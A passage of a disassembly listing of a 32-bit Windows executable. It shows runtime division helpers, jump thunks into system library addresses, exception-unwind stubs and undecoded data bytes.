		mov	eax, [eax+4]
		push	eax
		retn
sub_437B30	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h, 2 dup(0FAh)
		dd 25E97780h, 0ED777E54h, 7F04E990h, 0E9907780h, 7780FED8h
		dd 2300E990h, 9DE97780h, 417780FDh, 487DE990h, 3D83777Fh
		dd 5109B4h, 0FF0C75FFh,	0E8042474h, 777FD25Ch, 68C35990h
		dd 5109A4h, 5109B468h, 2474FF00h, 310E80Ch, 0C4830000h
		dd 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h
		dd 464DE990h, 0E9E9777Fh, 50777FF5h, 0F5F9E990h
; ---------------------------------------------------------------------------
		jg	short loc_437C51

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437BDA	proc near		; CODE XREF: sub_4199C0+28p
		nop
		jmp	near ptr 77C4FA10h
sub_437BDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_437BE0	proc near		; CODE XREF: sub_41B920+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_437C01
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_437C51
; ---------------------------------------------------------------------------


loc_437C01:				; CODE XREF: sub_437BE0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_437C0F:				; CODE XREF: sub_437BE0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C0F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_437C3A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_437C3A
		jb	short loc_437C42
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_437C42


loc_437C3A:				; CODE XREF: sub_437BE0+4Aj
					; sub_437BE0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_437C42:				; CODE XREF: sub_437BE0+52j
					; sub_437BE0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_437C51:				; CODE XREF: ___:00437BD8j
					; sub_437BE0+1Fj
		pop	ebx
		retn	10h
sub_437BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_437C60	proc near		; CODE XREF: sub_41B920+30p
					; sub_41B920+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_437C82
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_437CC3
; ---------------------------------------------------------------------------


loc_437C82:				; CODE XREF: sub_437C60+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_437C90:				; CODE XREF: sub_437C60+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C90
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_437CBE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_437CBE
		jb	short loc_437CBF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_437CBF


loc_437CBE:				; CODE XREF: sub_437C60+4Ej
					; sub_437C60+54j
		dec	esi


loc_437CBF:				; CODE XREF: sub_437C60+56j
					; sub_437C60+5Cj
		xor	edx, edx
		mov	eax, esi


loc_437CC3:				; CODE XREF: sub_437C60+20j
		pop	esi
		pop	ebx
		retn	10h
sub_437C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E3h, 8Dh
		dd 0E9907780h, 7780733Ch, 810188E9h, 0E9902577h, 77809196h
		dd 9515E990h, 0E9907780h, 77809888h, 8096ABE9h,	0E990BB77h
		dd 77809A43h, 0FEE2E990h, 0E9907780h, 77809E6Eh, 71ECE990h
		dd 0E9907780h, 77809103h, 7F43AEE9h, 0E9909A77h, 777E4845h
		dd 0F0D0E990h, 0E990777Fh, 777FF4D2h, 758EE990h, 0E990777Eh
		dd 77807BFDh, 9B30E990h, 9CE97780h, 0B3778026h,	8025C2E9h
		dd 0C8E90477h, 0CA778113h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437D4C	proc near		; CODE XREF: ___:0043297Cp
		nop
		jmp	near ptr 77C3619Ch
sub_437D4C	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 777FF01Ch, 8E53E990h, 50927780h, 886AC965h, 4C995160h
		dd 437F0E68h, 0A16400h,	50000000h, 258964h, 83000000h
		dd 565368ECh, 0E8658957h, 5D89DB33h, 90026AFCh,	7FD5EBE8h
		dd 0D835977h, 5109A4h, 0B40D83FFh, 0FF005109h, 7435E890h
		dd 0D8B777Eh, 5108B4h, 0E8900889h, 777E73F0h, 8B00D8Bh
		dd 8890051h, 511A28A1h,	0A3008B00h, 510998h, 12EE8h, 0B01D3900h
		dd 7500448Ch, 7EF8680Ch, 0E8900043h, 77815895h,	0FAE859h
		dd 18680000h, 68004444h, 444314h, 0E5E8h, 8ACA100h, 45890051h
		dd 94458D94h, 0A835FF50h, 8D005108h, 8D509C45h,	8D509045h
		dd 0E850A045h, 777E70D3h, 42106890h, 680044h, 0E8004440h
		dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 99E850A4h
		dd 90022D81h, 1D045F6h,	0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h,	2439D37h
		dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 77801FDEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437EBC	proc near		; CODE XREF: ___:loc_437B04p
		jmp	near ptr 77C21868h
sub_437EBC	endp

; ---------------------------------------------------------------------------
		db 0D4h, 0E9h, 8Ah
dword_437EC4	dd 0E6777FCFh, 801FCDE9h, 0DBE94B77h, 3C777FAEh, 7E7012E9h
		dd 0E9900E77h, 77801E87h, 3000068h, 6800h, 25E80001h, 59000000h
		dd 7EE9C359h, 0C2778157h, 0C3C3C033h, 7E72A3E9h, 0E9903777h
		dd 777E72D3h, 0D46EE990h, 81E9777Fh, 0C777FDDh,	6F15E990h
		dd 0E9907781h, 75C6844Bh, 8529E990h, 0E99075C6h, 75C5A102h
		dd 7553E990h, 0E99075C5h, 75C684F8h, 0A029E990h, 0E99075C4h
		dd 75C53908h, 0F765E990h, 0E99075C5h, 75C4DB94h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437F50	proc near		; CODE XREF: sub_4193C0+17Ep
		nop
		jmp	near ptr 76D6AC1Dh
sub_437F50	endp

; ---------------------------------------------------------------------------
		dw 0DCE9h
		dd 0FF023A8Bh, 8C75E990h, 0E990023Ah, 23B8098h,	3B85C4E9h
		dd 0E9903702h, 23C808Ch, 91ABE990h, 0E990023Ch,	23D8080h
		dd 3E807BE9h, 0E990FA02h, 23E9716h, 990EE990h, 2FE9023Eh
		dd 0B3023E9Dh, 8062E990h, 0E990023Fh, 23F81B2h,	8998E990h
		dd 51E9023Fh, 0AE024080h, 8355E990h, 0E9900240h, 2418044h
		dd 4182FAE9h, 0E990A602h, 241854Fh, 8032E990h, 0E9900242h
		dd 243802Ch, 439090E9h,	0E4E95802h, 0F502439Bh,	801AE990h
		dd 0E9900244h, 24487C3h, 8B6FE990h, 9E90244h, 0BB024580h
		dd 45847CE9h, 0E990AE02h, 23A87CBh, 7FF6E990h, 0F1E9023Ah
		dd 9202397Fh, 887AE990h, 0E5E90238h, 0E02387Fh,	7FDEE990h
		dd 7DE90237h, 6C023688h, 8516E990h, 0CDE90236h,	6F02367Fh
		dd 85A2E990h, 0E9900235h, 23583ABh, 2C7FBBE9h, 0E990BD02h
		dd 2358372h, 8319E990h,	0E9900235h, 7C4C9095h, 8FA7E990h
		dd 83E97C4Ch, 0DE023581h, 7F96E990h, 0E9900235h, 23487E3h
		dd 7F8AE990h, 77E90234h, 58023386h, 85E6E990h, 6DE90233h
		dd 4023384h, 33835EE9h,	0E9908002h, 233812Ch, 337F67E9h
		dd 0E9900E02h, 2328C33h, 89DEE990h, 0D5E90232h,	76023287h
		dd 84A3E990h, 0E9900232h, 23283C0h, 7F42E990h, 0E9900232h
		dd 2318BD8h, 886EE990h,	0E9900231h, 2318638h, 31830DE9h
		dd 0E9902F02h, 2317F24h, 308A3BE9h, 24E98802h, 28023087h
		dd 3086C8E9h, 0E9907102h, 230809Bh, 7F06E990h, 0E9900230h
		dd 22F8A3Ah, 85B7E990h,	0E990022Fh, 22F7EF4h, 8C75E990h
		dd 0E990022Eh, 22E8B02h, 87C9E990h, 0E990022Eh,	22E85A7h
		dd 2E7ED7E9h, 0E990E802h, 22D7ED0h, 1C2CB4E9h, 0E990E800h
		dd 2458A88h, 8F6CE990h,	0E9900250h, 24C7EB8h, 507EB3E9h
		dd 0E990A602h, 24F7EACh, 4E8B1DE9h, 0E9902802h,	24E7EA0h
		dd 813FE990h, 0E990024Dh, 24D7E94h, 4C8AF8E9h, 0E9905802h
		dd 24C879Bh, 4C85B8E9h,	0E9904602h, 24C831Eh, 7E76E990h
		dd 0E9900246h, 24B8A49h, 8689E990h, 0E990024Bh,	24B82DAh
		dd 7E5EE990h, 0E990024Bh, 24A7E58h, 7E52E990h, 0EBE90249h
		dd 25024898h, 9637E990h, 0E9900248h, 24893A8h, 91A9E990h
		dd 0E9900248h, 2487E34h, 7E2EE990h, 0E9900247h,	7C608F38h
		dd 0BD63E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381DE	proc near		; CODE XREF: ___:0042DBE1p
		jmp	near ptr 71AB4FD4h
sub_4381DE	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 686290E9h
		db 71h,	88h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381EA	proc near		; CODE XREF: sub_42DBD1+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_4381EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381F0	proc near		; CODE XREF: sub_42DF40+E5p
					; sub_42EF60+4Fp
		jmp	near ptr 71AB615Ah
sub_4381F0	endp

; ---------------------------------------------------------------------------
		db 79h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381F6	proc near		; CODE XREF: sub_42E490+9Ap
					; sub_42F040+45p ...
		jmp	near ptr 71AB428Ah
sub_4381F6	endp

; ---------------------------------------------------------------------------
		push	cs

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381FC	proc near		; CODE XREF: sub_42F2C0+53p
					; sub_42F2C0+96p ...
		nop
		jmp	near ptr 71AB9639h
sub_4381FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438202	proc near
		jmp	near ptr 71AC1028h
sub_438202	endp

; ---------------------------------------------------------------------------
		db 0A1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438208	proc near		; CODE XREF: sub_42E170+71p
					; sub_42ED50+50p
		jmp	near ptr 71AB2DC0h
sub_438208	endp

; ---------------------------------------------------------------------------
		db 0F0h, 0E9h, 0ADh
		dd 9F7167A9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438214	proc near
		nop
		jmp	near ptr 71AB88D3h
sub_438214	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167A946h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438220	proc near		; CODE XREF: sub_42E870+187p
		nop
		jmp	near ptr 71AB951Eh
sub_438220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438226	proc near
		jmp	near ptr 71AB3E00h
sub_438226	endp

; ---------------------------------------------------------------------------
		movsb

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43822C	proc near		; CODE XREF: sub_42DB00+B1p
		jmp	near ptr 71AB2B66h
sub_43822C	endp

; ---------------------------------------------------------------------------
		pop	eax

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438232	proc near		; CODE XREF: ___:0042DC2Fp
					; sub_42E870+152p
		nop
		jmp	near ptr 71AB3B91h
sub_438232	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438238	proc near
		nop
		jmp	near ptr 71AB406Ah
sub_438238	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167C1E4h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438244	proc near		; CODE XREF: sub_42DA80+10p
		nop
		jmp	near ptr 71AB664Dh
sub_438244	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167CE78h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438250	proc near		; CODE XREF: sub_434BA0+Bp
		nop
		jmp	near ptr 71AB94DCh
sub_438250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438256	proc near		; CODE XREF: sub_41A7D0+92p
					; sub_41A9C0+CAp ...
		nop
		jmp	near ptr 71AB4544h
sub_438256	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0EEh, 88h
; ---------------------------------------------------------------------------
		push	0B1E99071h
		retn	7167h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 52h, 0A9h
		dd 0E9907167h, 7167AA9Bh, 0A9EFE990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43827A	proc near
		nop
		jmp	near ptr 71AB3EA1h
sub_43827A	endp

; ---------------------------------------------------------------------------
		dd 6804E4E9h, 0E9909271h, 7167C1FDh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43828C	proc near		; CODE XREF: sub_42DB00+53p
					; sub_42DB00+C3p
		jmp	near ptr 71ABE6EBh
sub_43828C	endp

; ---------------------------------------------------------------------------
		db 0DEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438292	proc near		; CODE XREF: sub_42F2C0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_438292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438298	proc near
		nop
		jmp	near ptr 71AB2A5Eh
sub_438298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43829E	proc near		; CODE XREF: ___:0041C2B7p
					; ___:0041C2CCp
		jmp	near ptr 71B2578Ch
sub_43829E	endp

; ---------------------------------------------------------------------------
		inc	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382A4	proc near		; CODE XREF: ___:0041C40Dp
					; ___:0041C42Fp
		nop
		jmp	near ptr 71B25099h
sub_4382A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382AA	proc near		; CODE XREF: ___:00426390p
		jmp	near ptr 71B2517Fh
sub_4382AA	endp

; ---------------------------------------------------------------------------
		db 34h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B0	proc near		; CODE XREF: sub_420090+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_4382B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B6	proc near		; CODE XREF: sub_420090+9Bp
		nop
		jmp	near ptr 76BF1F1Ch
sub_4382B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382BC	proc near		; CODE XREF: sub_420090+21p
		nop
		jmp	near ptr 76BF3A9Ah
sub_4382BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382C2	proc near		; CODE XREF: ___:0041B2B4p
		nop
		jmp	near ptr 76F36C5Bh
sub_4382C2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 80h, 0DFh
dword_4382CC	dd 0E9907780h, 7780DE51h, 0DE96E990h, 0E9907780h, 7780E040h
		dd 2C4h	dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh,	8DFFFC84h
		dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403530	proc near		; DATA XREF: sub_403530+2o
		mov	eax, offset dword_43F470
		jmp	sub_437AB8
SEH_403530	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_438E6B:				; DATA XREF: ___:0043F4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403720	proc near		; DATA XREF: sub_403720+2o
		mov	eax, offset dword_43F4C0
		jmp	sub_437AB8
SEH_403720	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C50	proc near		; DATA XREF: sub_403C50+2o
		mov	eax, offset dword_43F700
		jmp	sub_437AB8
SEH_403C50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392B8:				; DATA XREF: ___:0043F75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403CE0	proc near		; DATA XREF: sub_403CE0+2o
		mov	eax, offset dword_43F730
		jmp	sub_437AB8
SEH_403CE0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392E8:				; DATA XREF: ___:0043F794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D60	proc near		; DATA XREF: sub_403D60+2o
		mov	eax, offset dword_43F768
		jmp	sub_437AB8
SEH_403D60	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403DE0	proc near		; DATA XREF: sub_403DE0+2o
		mov	eax, offset dword_43F7A0
		jmp	sub_437AB8
SEH_403DE0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_439338:				; DATA XREF: ___:0043F7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E50	proc near		; DATA XREF: sub_403E50+2o
		mov	eax, offset dword_43F7D0
		jmp	sub_437AB8
SEH_403E50	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_4393B8:				; DATA XREF: ___:0043F85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403F30	proc near		; DATA XREF: sub_403F30+2o
		mov	eax, offset dword_43F830
		jmp	sub_437AB8
SEH_403F30	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
